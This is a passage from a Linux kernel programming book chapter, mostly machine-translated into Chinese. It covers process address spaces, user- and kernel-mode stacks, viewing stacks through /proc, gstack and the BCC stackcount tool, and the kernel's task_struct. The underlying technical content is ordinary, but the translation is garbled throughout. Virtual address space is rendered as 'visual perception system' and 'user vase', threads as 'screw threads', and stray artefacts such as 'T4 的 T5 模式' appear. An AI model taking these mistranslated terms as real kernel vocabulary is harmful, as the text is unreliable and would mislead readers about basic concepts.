-Here, we provide only a quick overview of the process user VAS. For details, please refer to the *Further reading* section at the end of this chapter. - -用户视觉感知系统被划分为称为*段*的同质记忆区域,或者更确切地说,被划分为*映射。*每个 Linux 进程至少有这些映射(或段): - -![](img/1b865751-5cd4-44cd-a1c8-20b6c85652c6.png) - -Figure 6.2 – Process VAS - -让我们快速浏览一下这些段或映射的细分: - -* **文本段** *:* 这里是存放机器码的地方;静态(模式:`r-x`)。 -* **数据段** *:* 这是存储全局和静态数据变量的地方(模式:`rw-`)。它在内部分为三个不同的部分: - * **初始化数据段** *:* 这里存储预初始化变量;静态的。 - * **未初始化的数据段**:未初始化的变量存储在这里(运行时自动初始化为`0`;这个地区有时被称为;静态的。 - * **堆段** *:* 用于内存分配和释放的*库 API*(熟悉的`malloc(3)`系列例程)从这里获取内存。这也不完全正确。在现代系统中,只有`MMAP_THRESHOLD`下面的`malloc()`实例(默认为 128 KB)从堆中获取内存。再高一点,它就被分配为过程 VAS 中的一个单独的“映射”(通过强大的`mmap(2)`系统调用)。它是一个动态段(它可以增长/收缩)。堆中最后一个合法可引用的位置被称为*程序中断。* - -* **库(文本、数据)**:进程动态链接到的所有共享库都被映射(在运行时,通过加载器)到进程 VAS 中(模式:`r-x` / `rw-`)。 -* **堆栈** *:* 使用**后进先出** ( **后进先出**语义的内存区域;堆栈用于*实现高级语言的函数调用*机制。它包括参数传递、局部变量实例化(和销毁)以及返回值传播。这是一个动态的片段。在所有现代处理器(包括 x86 和 ARM 系列)上,*堆栈向更低的地址*增长(称为全递减堆栈)。每次调用一个函数,都会根据需要分配并初始化一个*栈帧*;堆栈框架的精确布局非常依赖于 CPU(您必须参考相应的 CPU **应用二进制接口** ( **ABI** )文档了解这一点;参考参见*进一步阅读*部分)。SP 寄存器(或等效寄存器)总是指向当前帧,即堆栈的顶部;随着堆栈向较低的(虚拟)地址发展,堆栈的顶部实际上是最低的(虚拟)地址!不直观但真实(模式:`rw-`)。 - -当然,你会明白进程必须包含至少一个*执行线程*(线程是进程内的一个执行路径);一个线程通常是`main()`函数。在*图 6.2* 中,作为例子,我们展示了三个执行线程–`main`*、* `thrd2`和`thrd3` *。*同样,不出所料,除了堆栈的之外,每个线程都共享 VAS *中的所有内容;如您所知,每个线程都有自己的私有堆栈。`main`栈显示在流程(用户)VAS 的最顶端;`thrd2`和`thrd3`线程的堆栈被显示为在库映射和`main`的堆栈之间,并用两个(蓝色)方块示出。* - -I have designed and implemented what I feel is a pretty useful learning/teaching and debugging utility called ***procmap*** ([https://github.com/kaiwan/procmap](https://github.com/kaiwan/procmap))*;* it's a console-based process VAS visualization utility. It can actually show you the process VAS (in quite a bit of detail); we shall commence using it in the next chapter. Don't let that stop you from trying it out right away though; do clone it and give it a spin on your Linux system. - -现在您已经了解了过程 VAS 的基础知识,是时候深入研究一下关于过程 VAS、用户和内核地址空间以及它们的线程和堆栈的内核内部了。 - -# 组织进程、线程及其堆栈——用户和内核空间 - -传统的 **UNIX 流程模型**–*一切都是流程;如果这不是一个过程,那就是一个文件*——它有很多优点。这一事实充分证明了这一点:在过去近 50 年的时间里,操作系统仍然沿用 T4 的 T5 模式。当然,如今**螺纹** 很重要;*线程仅仅是进程*内的执行路径。线程*共享除堆栈外的所有*进程资源,包括用户 VAS、*。*每个线程都有自己的私有堆栈区域(这很有道理;如果没有,线程怎么可能真正并行运行,因为它是保存执行上下文的堆栈)。 - -我们关注*线程*而不是流程的另一个原因在[第 10 章](10.html)、*中央处理器调度器第 1 部分* *中有更清晰的说明。*现在,我们只能说:*线程,而不是进程,是内核可调度实体*(也称为 KSE)。这实际上是 Linux 操作系统架构的一个关键方面的附带结果。在 Linux 操作系统上,每个线程——包括内核线程——都映射到一个称为**任务结构**的内核元数据结构。任务结构(也称为*进程描述符*)本质上是内核用作属性结构的大型内核数据结构。对于每一个*线程*活着,内核都会维护一个对应的*任务结构*(见*图 6.3* ,不用担心,我们会在接下来的章节中详细介绍任务结构)。 - -下一个真正需要把握的关键点是:我们*要求 CPU 支持的每个特权级别每个线程一个堆栈。*在 Linux 等现代操作系统上,我们支持两种特权级别–*非特权用户模式(或用户空间)和特权内核模式(或内核空间)*。因此,在 Linux 上,*每个活跃的用户空间线程都有两个堆栈*: - -* **用户空间堆栈**:当线程执行用户模式代码路径时,该堆栈正在运行。 -* **一个内核空间堆栈**:当线程切换到内核模式(通过系统调用或处理器异常)并执行内核代码路径(在进程上下文中)时,这个堆栈正在运行。 - -Of course, every good rule has an exception: *kernel threads* are threads that live purely within the kernel and thus have a "view" of *only* kernel (virtual) address space; they cannot "see" userland. Hence, as they will only ever execute kernel space code paths, they have **just one stack** – a kernel space stack. - -*图 6.3* 将地址空间分为两个——用户空间和内核空间。在图的上部——用户空间——你可以看到几个进程和它们的*用户花瓶。*在底部——内核空间——你可以看到,对应于每个用户模式线程,一个内核元数据结构(struct `task_struct`,我们稍后会详细介绍)和该线程的内核模式堆栈。此外,我们看到(最底部)三个内核线程(标记为`kthrd1` *、* `kthrd2`和`kthrdn`);不出所料,它们也有一个表示内部(属性)的`task_struct`元数据结构和一个内核模式堆栈: - -![](img/a96a3955-729e-43ba-8916-29b393edb22f.png) - -Figure 6.3 – Processes, threads, stacks, and task structures – user and kernel VAS - -为了帮助实现这一讨论,让我们执行一个简单的 Bash 脚本(`ch6/countem.sh`)来计算当前活动的进程和线程的数量。我在我的原生 x86_64 Ubuntu 18.04 LTS 盒子上做到了这一点;请参见以下结果输出: - -```sh -$ cd /ch6 -$ ./countem.sh -System release info: -Distributor ID: Ubuntu -Description: Ubuntu 18.04.4 LTS -Release: 18.04 -Codename: bionic - -Total # of processes alive = 362 -Total # of threads alive = 1234 -Total # of kernel threads alive = 181 -Thus, total # of user-mode threads alive = 1053 -$ -``` - -我让你在这里查找这个简单脚本的代码:`ch6/countem.sh`。研究前面的输出并理解它。当然,你会意识到这是某个时间点的情况的快照。它可以而且确实会改变。 - -在接下来的部分中,我们将讨论分成两部分(对应于两个地址空间)——我们在图 6.3 中看到的用户空间和在图 6.3 中看到的内核空间。让我们从用户空间组件开始。 - -## 用户空间组织 - -参考我们在前面章节中运行的`countem.sh` Bash 脚本,我们现在将对其进行分解并讨论一些关键点,目前仅限于 VAS 的*用户空间部分*。请仔细阅读并理解这一点(我们在以下讨论中提到的数字是指我们在前面部分中的`countem.sh`脚本的样本运行)。为了更好地理解,我在这里放置了图表的用户空间部分: - -![](img/6c434097-8366-4c01-bca2-7f14ca0b2b15.png) - -Figure 6.4 – User space portion of overall picture seen in Figure 6.3 - -在这里(图 6.4),您可以看到三个单独的过程。每个进程至少有一个执行线程(T7 线程)。在前面的例子中,我们展示了三个进程`P1`*`P2`和`Pn`,其中分别有一个、三个和两个线程,包括`main()`。从我们之前运行的`countem.sh`脚本示例来看,`Pn`应该有 *n* =362。* - -*Do note that these diagrams are purely conceptual. In reality, the 'process' with PID 2 is typically a single-threaded kernel thread called `kthreadd`. - -每个过程由几个部分组成(技术上,映射*)。*一般来说,用户模式段(映射)如下: - -* **文字**:代码;`r-x` -* **数据段**:`rw-`;由三个不同的映射组成——初始化的数据段、未初始化的数据段(或`bss`)和“向上增长的”`heap` - -* **库映射**:对于每个共享库的文本和数据,流程动态链接到 -* **向下生长的堆栈** - -关于这些堆栈,我们从前面的示例运行中看到,系统上目前有 1,053 个用户模式线程。这意味着也有 1,053 个用户空间堆栈,因为每个用户模式线程都有一个用户模式堆栈。在这些用户空间线程堆栈中,我们可以说: - -* 对于`main()`线程,总是存在一个用户空间栈,它将位于用户视觉模拟系统的最顶端——高端;如果进程是单线程的(只有一个`main()`线程),那么它将只有一个用户模式堆栈;*中的`P1`流程图 6.4* 显示了这种情况。 -* 如果进程是多线程的,那么每个活线程(包括`main()`)将有一个用户模式线程栈;图 6.4 中的流程`P2`和`Pn`说明了这种情况。堆栈是在调用`fork(2)`(用于`main()`)或`pthread_create(3)`(用于进程内的剩余线程)时分配的,这导致该代码路径在内核内的进程上下文中执行: - -```sh -sys_fork() --> do_fork() --> _do_fork() -``` - -* 仅供参考,Linux 上的`pthread_create(3)`库 API 调用(非常特定于 Linux 的)`clone(2)`系统调用;这个系统调用最终调用`_do_fork()`;传递的`clone_flags`参数通知内核如何创建“定制流程”;换句话说,一根线! -* 这些用户空间栈当然是动态的;它们可以增长/收缩到堆栈大小资源限制(`RLIMIT_STACK`,通常为 8mb;您可以使用`prlimit(1)`实用程序进行查找)。 - -已经看到并理解了用户空间部分,现在让我们深入研究一下内核空间方面的事情。 - -## 核心空间组织 - -参考我们在上一节中运行的`countem.sh` Bash 脚本继续我们的讨论,现在我们将分解它并讨论一些关键点,将我们自己限制在 VAS 的*内核空间部分*。请注意仔细阅读并理解这一点(在阅读我们之前运行的`countem.sh`脚本示例中输出的数字时)。为了更好地理解,我在这里放置了图表的内核空间部分(图 6.5): - -![](img/917a5b55-bae7-4af5-8a44-3b741bbfdb52.png) - -Figure 6.5 – Kernel space portion of overall picture seen in Figure 6.3 - -同样,从前面的示例运行中,您可以看到系统上有 1,053 个用户模式线程和 181 个内核线程。这总共产生了 1,234 个内核空间堆栈。怎么做?如前所述,每个用户模式线程都有两个堆栈——一个用户模式堆栈和一个内核模式堆栈。因此,我们将为每个用户模式线程提供 1,053 个内核模式堆栈,加上(纯)内核线程的 181 个内核模式堆栈(回想一下,内核线程只有*个内核模式堆栈;他们根本看不到用户空间)。让我们列出内核模式堆栈的一些特征:* - - ** 每个活动的应用(用户模式)线程将有一个内核模式堆栈,包括`main()`。 - -* **内核模式堆栈*大小固定(静态),相当小*** 。实际上,它们的大小在 32 位操作系统上为 2 页,在 64 位操作系统上为 4 页(一页的大小通常为 4 KB)。 -* 它们是在线程创建时分配的(通常归结为`_do_fork()`)。 - -同样,让我们非常清楚这一点:每个用户模式线程都有两个堆栈——用户模式堆栈和内核模式堆栈。这个规则的例外是内核线程;它们只有一个内核模式堆栈(因为它们没有用户映射,因此没有用户空间“段”)。在*图 6.5* 的下部,我们显示了三个*内核线程–*`kthrd1`、`kthrd2`和`kthrdn`(在前面的示例运行中,`kthrdn`将具有 *n* =181)。此外,每个内核线程都有一个任务结构和一个在创建时分配给它的内核模式堆栈。 - -内核模式堆栈在大多数方面与用户模式堆栈相似——每次调用函数时,都会建立一个*堆栈框架*(框架布局是特定于体系结构的,构成了 CPU ABI 文档的一部分;有关这些详细信息,请参见*进一步阅读*部分;中央处理器有一个寄存器来跟踪堆栈的当前位置(通常称为**堆栈指针** ( **SP** )),堆栈向*更低的*虚拟地址“增长”。但是,与动态用户模式堆栈不同,*内核模式堆栈的大小是固定的,而且很小。* - -An important implication of the pretty small (two-page or four-page) kernel-mode stack size for the kernel / driver developer – be very careful to not overflow your kernel stack by performing stack-intensive work (such as recursion). - -There exists a kernel configurable to warn you about high (kernel) stack usage at compile time; here's the text from the `lib/Kconfig.debug`file: -`CONFIG_FRAME_WARN:` -`Tell gcc to warn at build time for stack frames larger than this.` -`Setting this too low will cause a lot of warnings.` -`Setting it to 0 disables the warning.` -`Requires gcc 4.4` - -### 总结现状 - -好的,太好了,现在让我们总结一下我们从前面的`countem.sh`脚本示例中的学习和发现: - -* **任务结构**: - * 每个活着的线程(用户或内核)在内核中都有对应的任务结构(`struct task_struct`);这是内核跟踪它的方式,它的所有属性都存储在这里(您将在*理解和访问内核任务结构*部分了解更多信息) - * 关于我们的`ch6/countem.sh`脚本的样本运行: - * 由于系统上总共有 1,234 个线程(包括用户和内核),这意味着内核内存(在代码中为`struct task_struct`)中总共有 1,234 个*任务(元数据)结构*,我们可以这样说: - * 这些任务结构中有 1,053 个代表用户线程。 - * 剩下的 181 个任务结构代表内核线程。 -* **堆叠**: - * 每个用户空间线程都有两个堆栈: - * 用户模式堆栈(当线程执行用户模式代码路径时运行) - * 内核模式堆栈(当线程执行内核模式代码路径时运行) - * 纯内核线程只有一个堆栈——内核模式堆栈 - * 关于我们的`ch6/countem.sh`脚本的样本运行: - * 1,053 个用户空间堆栈(在用户土地上)。 - * 1,053 个内核空间堆栈(在内核内存中)。 - * 181 个内核空间堆栈(用于 181 个活动的内核线程)。 - * 总计 1053+1053+181 = 2287 叠! - -在讨论用户和内核模式堆栈时,我们还应该简要提及这一点:许多架构(包括 x86 和 ARM64)支持单独的每 CPU 堆栈来处理*中断。*当外部硬件中断发生时,中央处理器的控制单元立即将控制重新定向到最终的中断处理代码(可能在设备驱动程序中)。单独的每 CPU 中断堆栈用于保存中断代码路径的堆栈帧;这有助于避免对中断的进程/线程的现有(小)内核模式堆栈施加太大压力。 - -好了,现在您已经从进程/线程及其堆栈的角度理解了用户和内核空间的整体组织,接下来让我们看看您如何实际“查看”内核和用户空间堆栈的内容。除了对学习有用之外,这些知识还能极大地帮助你调试环境。 - -## 查看用户和内核堆栈 - -*堆栈*通常是调试会话的关键。当然,堆栈保存了进程或线程的当前执行上下文(T2),这让我们可以推断它在做什么。更重要的是,能够看到并解释线程的*调用堆栈(或调用链/回溯)*使我们能够理解我们是如何到达这里的。所有这些宝贵的信息都存在于堆栈中。但是等等,每个线程都有两个堆栈——用户空间和内核空间堆栈。我们如何看待它们? - -在这里,我们将展示查看给定进程或线程的内核和用户模式堆栈的两种广泛方式,首先是通过“传统”方法,然后是更近的现代方法(通过[e]BPF)。一定要读下去。 - -### 查看堆栈的传统方法 - -让我们首先学习使用我们称之为“传统”的方法来查看给定进程或线程的内核和用户模式堆栈。让我们从内核模式堆栈开始。 - -#### 查看给定线程或进程的内核空间堆栈 - -好消息;这真的很容易。Linux 内核通过向用户空间公开内核内部的常用机制——强大的`proc` 文件系统接口,使堆栈可见。就在`/proc//stack`下面偷看。 - -那么,好吧,让我们来看看我们的 *Bash* 进程的内核模式堆栈。假设在我们的 x86_64 Ubuntu 客户机(运行 5.4 内核)上,我们的 Bash 进程的 PID 为`3085`: - -On modern kernels, to avoid *information leakage*, viewing the kernel-mode stack of a process or thread requires *root* access as a security requirement. - -```sh -$ sudo cat /proc/3085/stack -[<0>] do_wait+0x1cb/0x230 -[<0>] kernel_wait4+0x89/0x130 -[<0>] __do_sys_wait4+0x95/0xa0 -[<0>] __x64_sys_wait4+0x1e/0x20 -[<0>] do_syscall_64+0x5a/0x120 -[<0>] entry_SYSCALL_64_after_hwframe+0x44/0xa9 -$ -``` - -在前面的输出中,每一行代表堆栈上的一个*调用帧*。为了帮助解读内核堆栈回溯,有必要了解以下几点: - -* 应该以自下而上的方式(从下往上)阅读。 -* 每一行输出代表一个*调用帧*;实际上,是调用链中的一个函数。 -* 出现为`??`的函数名意味着内核不能可靠地解释堆栈。忽略它,是内核说它是无效的栈帧(留下的‘blip’);内核回溯代码通常是正确的! - -* 在 Linux 上,任何`foo()`系统调用通常都会成为内核中的一个`SyS_foo()`函数。此外,`SyS_foo()`通常是一个调用“真实”代码`do_foo()`的包装器。一个细节:在内核代码中,你可能会看到`SYSCALL_DEFINEn(foo, ...)`类型的宏;宏成为`SyS_foo()`例程;附加的数字`n`在[0,6]范围内;它是系统调用从用户空间传递给内核的参数数量。 - -现在再看看前面的输出;应该很清楚:我们的 *Bash* 进程目前正在执行`do_wait()`功能;它是通过系统调用到达那里的,`wait4()`系统调用!这很对;shell 的工作方式是分出一个子进程,然后通过`wait4(2)`系统调用等待它的终止。 - -Curious readers (you!) should note that the `[<0>]` in the leftmost column of each stack frame displayed in the preceding snippet are the placeholders for the *text (code) address* of that function. Again, for *security* reasons (to prevent information leakage), it is zeroed out on modern kernels. (Another security measure related to the kernel and process layout is discussed in [Chapter 7](07.html), *Memory Management Internals – Essentials*,in the *Randomizing the memory layout – KASLR* and *User-mode ASLR* sections). - -#### 查看给定线程或进程的用户空间堆栈 - -具有讽刺意味的是,查看进程或线程的*用户空间堆栈*在典型的 Linux 发行版上似乎更难做到(与查看内核模式堆栈相反,正如我们在上一节中刚刚看到的)。有一个实用工具可以做到这一点:`gstack(1)`。实际上,它只是一个简单的脚本包装器,在批处理模式下调用`gdb(1)`,让`gdb`调用其`backtrace`命令。 - -Unfortunately, on Ubuntu (18.04 LTS at least), there seems to be an issue; the `gstack` program was not found in any native package. (Ubuntu does have a `pstack(1)` utility, but, at least on my test VM, it failed to work well.) A workaround is to simply use `gdb` directly (you can always `attach ` and issue the `[thread apply all] bt` command to view the user mode stack(s)). - -不过,在我的 x86_64 Fedora 29 来宾系统上,`gstack(1)`实用程序安装干净,运行良好;一个例子如下(我们的 Bash 流程‘PID’这里正好是`12696`): - -```sh -$ gstack 12696 -#0 0x00007fa6f60754eb in waitpid () from /lib64/libc.so.6 -#1 0x0000556f26c03629 in ?? () -#2 0x0000556f26c04cc3 in wait_for () -#3 0x0000556f26bf375c in execute_command_internal () -#4 0x0000556f26bf39b6 in execute_command () -#5 0x0000556f26bdb389 in reader_loop () -#6 0x0000556f26bd9b69 in main () -$ -``` - -同样,每一行代表一个呼叫帧。自下而上阅读。显然, *Bash* 执行一个命令,最后调用`waitpid()`系统调用(实际上在现代 Linux 系统上,`waitpid()`只是实际`wait4(2)`系统调用的一个`glibc`包装器!再次,简单地忽略任何标记为`??`的呼叫帧。 - -Being able to peek into the kernel and user space stacks (as shown in the preceding snippets), and using utilities including `strace(1)` and `ltrace(1)` for tracing system and library calls of a process/thread respectively, can be a tremendous aid when debugging! Don't ignore them. - -现在用“现代”的方法来解决这个问题。 - -### [e]BPF–查看两个堆栈的现代方法 - -现在——更加令人兴奋!–让我们学习(非常基础的)使用强大的现代方法,利用(在撰写本文时)非常新的技术–称为**扩展伯克利数据包过滤器**(**eBPF**;或者简单地说,BPF。我们在[第 1 章](01.html)、*内核工作空间设置*中的*附加有用项目*部分提到了【e】BPF 项目。)较老的 BPF 已经存在很长时间,并已用于网络数据包跟踪;[e]BPF 是最近的一项创新,仅从 4.x Linux 内核开始提供(这当然意味着您需要在 4.x 或更高版本的 Linux 系统上才能使用这种方法)。 - -直接使用底层的内核级 BPF 字节码技术是(极其)困难的;因此,好消息是这项技术有几个易于使用的前端(工具和脚本)。(显示当前 BCC 性能分析工具的图表可在[http://www . brendangregg . com/BPF/BCC _ tracing _ tools _ early 2019 . png](http://www.brendangregg.com/BPF/bcc_tracing_tools_early2019.png)上找到;可以在*[【http://www.brendangregg.com/ebpf.html#frontends】](http://www.brendangregg.com/ebpf.html#frontends)*找到[e]BPF 前线的列表;*这些链接来自*布伦丹·格雷格的*博客。)在前端中, **BCC** 和 **bpftrace** 被认为非常有用。在这里,我们将简单地使用名为`stackcount`的 BCC 工具提供一个快速演示(嗯,在 Ubuntu 上,至少它被命名为`stackcount-bpfcc(8)`)。另一个优点:使用这个工具可以同时看到内核和用户模式堆栈;不需要单独的工具。* - -*You can install the BCC tools for your *host* Linux distro by reading the installation instructions here: [https://github.com/iovisor/bcc/blob/master/INSTALL.md](https://github.com/iovisor/bcc/blob/master/INSTALL.md). Why not on our guest Linux VM? You can, *when running a distro kernel* (such as an Ubuntu- or Fedora-supplied kernel). The reason: the installation of the BCC toolset includes the installation of the `linux-headers-$(uname -r)` package; the latter exists only for distro kernels (and not for our custom 5.4 kernel that we're running on the guest). - -在下面的例子中,我们使用`stackcount` BCC 工具(在我的 x86_64 Ubuntu 18.04 LTS 主机系统上)来查找我们的 VirtualBox Fedora31 来宾进程的堆栈(虚拟机毕竟是主机系统上的一个进程!).对于这个工具,您必须指定一个(或多个)感兴趣的函数(有趣的是,您可以指定用户空间或内核空间函数,并且在这样做时还可以使用“通配符”或正则表达式!);只有当这些函数被调用时,堆栈才会被跟踪和报告。例如,我们选择任何包含名称`malloc`的函数: - -```sh -$ sudo stackcount-bpfcc -p 29819 -r ".*malloc.*" -v -d -Tracing 73 functions for ".*malloc.*"... Hit Ctrl-C to end. -^C - ffffffff99a56811 __kmalloc_reserve.isra.43 - ffffffff99a59436 alloc_skb_with_frags - ffffffff99a51f72 sock_alloc_send_pskb - ffffffff99b2e986 unix_stream_sendmsg - ffffffff99a4d43e sock_sendmsg - ffffffff99a4d4e3 sock_write_iter - ffffffff9947f59a do_iter_readv_writev - ffffffff99480cf6 do_iter_write - ffffffff99480ed8 vfs_writev - ffffffff99480fb8 do_writev - ffffffff99482810 sys_writev - ffffffff99203bb3 do_syscall_64 - ffffffff99c00081 entry_SYSCALL_64_after_hwframe - -- - 7fd0cc31b6e7 __GI___writev - 12bc [unknown] - 600000195 [unknown] - 1 -[...] -``` - -[e]BPF programs might fail due to the new *kernel lockdown* feature being merged into the mainline 5.4 kernel (it's disabled by default though). It's a **Linux Security Module** (**LSM**) that enables an extra 'hard' level of security on Linux systems. Of course, security is a double-edged sword; having a very secure system implicitly means that certain things will not work as expected, and this includes some [e]BPF programs. Do refer to the *Further reading* section for more on kernel lockdown. - -通过的`-d`选项开关打印定界符`--`;它表示进程的内核模式和用户模式堆栈之间的边界。(不幸的是,由于大多数生产用户模式应用的符号信息将被剥离,大多数用户模式堆栈帧只是显示为“`[unknown]`”。)至少在这个系统上,内核堆栈框架是非常清晰的;甚至所讨论的文本(代码)函数的虚拟地址也被打印在左边。(为了帮助您更好地理解堆栈跟踪:首先,自底向上读取;接下来,如前所述,在 Linux 上,任何`foo()`系统调用通常都会成为内核中的`SyS_foo()`函数,并且通常`SyS_foo()`是实际工作函数`do_foo()`的包装器。) - -注意`stackcount-bpfcc`工具只适用于 Linux 4.6+,需要 root 访问权限。有关详细信息,请参见其手册页。 - -作为第二个更简单的例子,我们编写一个简单的 *Hello,world* 程序(注意它处于无限循环中,这样我们就可以在底层`write(2)`系统调用发生时捕获它们),在启用符号信息的情况下构建它(也就是说,`gcc -g ...`),并使用一个简单的 Bash 脚本来执行与之前相同的工作:在执行时跟踪内核和用户模式堆栈。(你可以在`ch6/ebpf_stacktrace_eg/`找到代码。)显示示例运行的截图(好的,这里有一个例外:我已经在 x86_64 Ubuntu *20.04* LTS 主机上运行了该脚本)如下所示: - -![](img/cfaa69a7-c9a3-42e4-a281-8a6d6206af3b.png) - -Figure 6.6 – A sample run using the stackcount-bpfcc BCC tool to trace both kernel and user-mode stacks for the write() of our Hello, world process We have merely scratched the surface here; [e]BPF tools such as BCC and `bpftrace` really are the modern, powerful approach to system, app tracing and performance analysis on the Linux OS. Do take the time to learn how to use these powerful tools! (Each BCC tool also has a dedicated man page *with examples*.) We refer you to the *Further reading* section for links on [e]BPF, BCC and `bpftrace`. - -让我们通过缩小并查看到目前为止所学内容的概述来结束这一部分! - -## 过程视觉模拟的 10,000 英尺视图 - -在我们结束这一部分之前,重要的是后退一步,看看每个过程的完整花瓶,以及它如何寻找系统的整体;换句话说,就是缩小并看到完整系统地址空间的“万英尺视图”。这就是我们试图用以下相当大而详细的图表(*图 6.7* )来做的,它是我们早期的*图 6.3* 的扩展或超集。 - -For those of you reading a hard copy of the book, I'd definitely recommend you view the book's figures in full color from this PDF document at [https://static.packt-cdn.com/downloads/9781789953435_ColorImages.pdf](_ColorImages.pdf). - -除了您刚才了解和看到的内容——进程用户空间段、(用户和内核)线程以及内核模式堆栈——别忘了内核中还有很多其他元数据:任务结构、内核线程、内存描述符元数据结构等等。它们都是*内核 VAS 的一部分,*通常被称为*内核部分。*内核部分不仅仅是任务和堆栈。它还包含(显然!)静态内核(核心)代码和数据,实际上,内核的所有主要(和次要)*子系统*,特定于 arch 的代码,等等(我们在[第 4 章](04.html) *【编写您的第一个内核模块–LKMs 第 1 部分】*的*内核空间组件*一节中讨论过)。 - -如前所述,下图试图在一个地方总结和呈现所有(嗯,很多)这些信息: - -![](img/3963b6dd-76cd-4f72-baa0-1a7c043930aa.png) - -Figure 6.7 – The 10,000-foot view of the processes, threads, stacks, and task structures of the user and kernel VASes - -咻,真了不起,不是吗?上图内核部分的红色方框包含了*核心内核代码和数据*——主要的内核子系统,并显示了任务结构和内核模式堆栈。其余的被认为是非核心的东西;这包括设备驱动程序。(特定于 arch 的代码可以被视为核心代码;我们在这里单独展示。)还有,不要让前面的信息压倒你;只需关注我们现在在这里做的事情——进程、线程、它们的任务结构和堆栈。如果你仍然不清楚,一定要重读前面的材料。 - -现在,让我们继续实际理解和学习如何引用每个活动线程的关键或“根”元数据结构——任务结构*。* - - *# 理解和访问内核任务结构 - -正如您现在已经了解到的,Linux 内核中的每个用户和内核空间线程都由一个包含其所有属性的元数据结构内部表示,即**任务结构** *。*任务结构在内核代码中表示为`include/linux/sched.h:struct task_struct`。 - -不幸的是,它经常被称为“过程描述符”,导致混乱永无止境!谢天谢地,短语*任务结构*好多了;它代表了一个可运行的任务,实际上是一个*线程*。 - -所以我们有了:在 Linux 设计中,每个进程由一个或多个线程组成,每个线程映射到一个内核数据结构,称为任务结构 ( `struct task_struct` ) **。** - -任务结构是线程的“根”元数据结构——它封装了操作系统为该线程所需的所有信息。这包括有关其内存(段、分页表、使用信息等)的信息、CPU 调度详细信息、其当前打开的任何文件、其凭证、功能位掩码、计时器、锁、**异步 I/O** ( **AIO** )上下文、硬件上下文、信令、IPC 对象、资源限制、(可选的)审计、安全和分析信息以及许多其他此类详细信息。 - -*图 6.8* 是 Linux 内核*任务结构*及其包含的大部分信息(元数据)的概念表示: - -![](img/2c9958c9-f71a-4111-be96-689ca5f8e3b8.png) - -Figure 6.8 – Linux kernel task structure: struct task_struct - -从*图 6.8* 中可以看出,任务结构保存了大量关于系统中每个活动任务(进程/线程)的信息(我再次重申:这也包括内核线程)。我们在图 6.8 中以划分的概念格式展示了封装在这个数据结构中的不同类型的属性。同样,正如可以看到的,某些属性将被`fork(2)`(或`pthread_create(3)`)上的子进程或线程*继承;某些属性不会被继承,只会被重置。(的内核模式堆栈* - -至少现在,只要说内核“理解”任务是进程还是线程就足够了。我们稍后将演示一个内核模块(`ch6/foreach/thrd_showall`),它确切地揭示了我们如何确定这一点(坚持住,我们会成功的!). - -现在让我们开始更详细地了解庞大任务结构中一些更重要的成员;继续读! - -Here, I only intend to give you a 'feel' for the kernel task structure; we do not delve deep into the details as it's not required for now. You will find that in later parts of this book, we delve into specific areas as required. - -## 查看任务结构 - -首先,回想一下任务结构本质上是进程或线程的“根”数据结构——它保存任务的所有属性(正如我们前面看到的)。因此,它相当大;功能强大的`crash(8)`实用程序(用于分析 Linux 崩溃转储数据或调查实时系统)报告其在 x86_64 上的大小为 9,088 字节,`sizeof`运算符也是如此。 - -任务结构在`include/linux/sched.h`内核头中定义(这是一个相当关键的头)。在下面的代码中,我们显示了它的定义,但要注意的是,我们只显示了它的许多成员中的几个。(此外,`<< angle brackets like this >>`中的注释用于非常简要地解释成员): - -```sh -// include/linux/sched.h -struct task_struct { -#ifdef CONFIG_THREAD_INFO_IN_TASK - /* - * For reasons of header soup (see current_thread_info()), this - * must be the first element of task_struct. - */ - struct thread_info thread_info; << important flags and status bits >> -#endif - /* -1 unrunnable, 0 runnable, >0 stopped: */ - volatile long state; - [...] - void *stack; << the location of the kernel-mode stack >> - [...] - /* Current CPU: */ - unsigned int cpu; - [...] -<< the members that follow are to do with CPU scheduling; some of them are discussed in Ch 9 & 10 on CPU Scheduling >> - int on_rq; - int prio; - int static_prio; - int normal_prio; - unsigned int rt_priority; - const struct sched_class *sched_class; - struct sched_entity se; - struct sched_rt_entity rt; - [...] -``` - -继续下面代码块中的任务结构,查看与内存管理相关的成员`(mm)`、PID 和 TGID 值、凭证结构、打开的文件、信号处理等等。再说一遍,我无意详细研究(所有的)它们;在适当的地方,在本章的后面部分,也可能在本书的其他章节,我们将重温它们: - -```sh - [...] - struct mm_struct *mm; << memory management info >> - struct mm_struct *active_mm; - [...] - pid_t pid; << task PID and TGID values; explained below >> - pid_t tgid; - [...] - /* Context switch counts: */ - unsigned long nvcsw; - unsigned long nivcsw; - [...] - /* Effective (overridable) subjective task credentials (COW): */ - const struct cred __rcu *cred; - [...] - char comm[TASK_COMM_LEN]; << task name >> - [...] - /* Open file information: */ - struct files_struct *files; << pointer to the 'open files' ds >> - [...] - /* Signal handlers: */ - struct signal_struct *signal; - struct sighand_struct *sighand; - sigset_t blocked; - sigset_t real_blocked; - [...] -#ifdef CONFIG_VMAP_STACK - struct vm_struct *stack_vm_area; -#endif - [...] -#ifdef CONFIG_SECURITY - /* Used by LSM modules for access restriction: */ - void *security; -#endif - [...] - /* CPU-specific state of this task: */ - struct thread_struct thread; << task hardware context detail >> - [...] -}; -``` - -Note that the `struct task_struct` members in the preceding code are shown with respect to the 5.4.0 kernel source; on other kernel versions, the members can and do change! Of course, it should go without saying, this is true of the entire book – all code/data is presented with regard to the 5.4.0 LTS Linux kernel (which will be maintained up to December 2025). - -好了,现在你对任务结构中的成员有了更好的了解,你到底如何访问它和它的各种成员呢?继续读。 - -## 使用当前访问任务结构 - -您会记得,在前面的`countem.sh`脚本的示例运行中(在*组织进程、线程及其堆栈-用户和内核空间*部分),我们发现系统上总共有 1,234 个线程(用户和内核)。这意味着内核内存中总共有 1,234 个任务结构对象。 - -它们需要以内核在需要时可以轻松访问的方式进行组织。因此,内核内存中的所有任务结构对象都被链接在一个名为**任务列表** *的*循环双向链表*上。*这种组织是各种内核代码路径迭代所必需的(通常是`procfs`代码)。即便如此,请思考一下:当一个进程或线程正在运行内核代码(在进程上下文中)时,它如何在内核内存中可能存在的成百上千个`task_struct`中找出哪个`task_struct`属于它?这是一项不平凡的任务。内核开发人员已经开发了一种方法来保证您可以找到代表当前运行内核代码的线程的特定任务结构。这是通过一个叫做`current`的宏实现的。这样想吧: - -* 查找`current`得到当前正在运行内核代码的线程`task_struct`的指针,换句话说,*当前正在某个特定处理器内核上运行的进程上下文。* -* `current`类似于(但当然不完全是)面向对象语言所说的`this`指针。 - -`current`宏的实现是非常特定于架构的。在这里,我们不深究血淋淋的细节。只要说实现被精心设计得很快就够了(通常通过一个*0(1)*算法)。例如,在一些具有许多通用寄存器的**精简指令集计算机** ( **RISC** )架构上(例如 PowerPC 